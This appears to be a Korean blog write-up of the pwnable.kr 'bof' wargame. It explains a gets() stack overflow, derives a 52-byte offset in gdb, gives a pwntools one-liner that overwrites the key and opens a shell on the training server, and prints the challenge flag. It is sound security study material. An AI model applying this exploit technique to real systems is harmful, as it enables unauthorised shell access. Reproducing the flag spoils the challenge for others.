버퍼(buffer)
- 데이터가 목적지로 전달되기 전에 보관되는 임시저장소
- 데이터 처리속도가 다를 때 완충 작용을 해줌(데이터 유실 방지)
- 넓은 의미로는 "데이터가 저장될 수 있는 모든 단위
pwnable.kr: BOF
스택 버퍼 오버플로우
: 주소값을 원하는 값으로 바꿔서 내가 원하는 함수가 실행될 수 있도록 한다.


#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
//int 인자 필요
char overflowme[32];
//문자열, 32바이트 (중요)
printf("overflow me : ");
gets(overflowme);
//얼만큼 입력받을지 설정 되어 있지 않음
//-> overflowme보다 더 큰 크기로도 입력 가능(스택 BOF 취약점)
if(key == 0xcafebabe){
//key값이 0xcafebabe와 같으면 권한 상승, 쉘 획득
setregid(getegid(), getegid());
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef); //인자가 0xdeadbeef로 설정되어있음
return 0;
}


disass 명령어를 사용하여 main함수 내부를 살펴보면
deadbeef 인자를 넣고 <func> 함수를 호출하는 것을 확인할 수 있음.

54, 55에서 eax값을 스택에 넣고 gets(overflowme) 호출하는 것을 확인할 수 있음
이에 따라 [ebp-0x2c]는 gets()의 인자값, 즉 overflowme 인것을 확인할 수 있음.
우리는 실행할 함수의 인자값을 강제로 변경해줘야하기 때문에 overflow를 활용
방법1
이에 따라 우리가 넣어야할 값의 크기를 구하는 두가지 방법이 있다
먼저 overflowme의 주소값을 이용하여 구하기
16진수 0x2c를 10진수로 바꾸는 공식은 다음과 같음
- 자릿수 분리: 앞자리 2, 뒷자리 c
- 16진수 문자 변환: c는 10진수로 12입니다. (a=10, b=11, c=12, ...)
- 가중치 계산:

합계: 32+12=44
추가로 이전 EBP값 4byte와 복귀 주소 4byte를 더해주면 52byte이다.
방법2

b 명령어로 중단점을 걸고
run을 하고 원하는 값(aaaa)를 입력하면


x/30x $esp: 현재 esp부터 30개의 값을 16진수로 출력
1개= 4byte
"a"는 ASCII로 0x61 -> 따라서 0xffffd530-0xffffd4fc=0x34(52bytes)
이에따라 A*52bytes+0xcafebabe를 입력하는 python 코드를 이용하여 권한을 획득하여 flag 파일을 열어볼 수 있다.
python3 -c "from pwn import *; p=remote('pwnable.kr',9000); p.sendline(b'a'*52 + p32(0xcafebabe)); p.interactive()"

Daddy_I_just_pwned_a_buff3r!
'System Hacking > pwnable.kr' 카테고리의 다른 글
| [시스템] 파일 디스크립터(fd) 취약점 (0) | 2026.03.26 |
|---|---|
| [시스템해킹] welcome (0) | 2026.03.19 |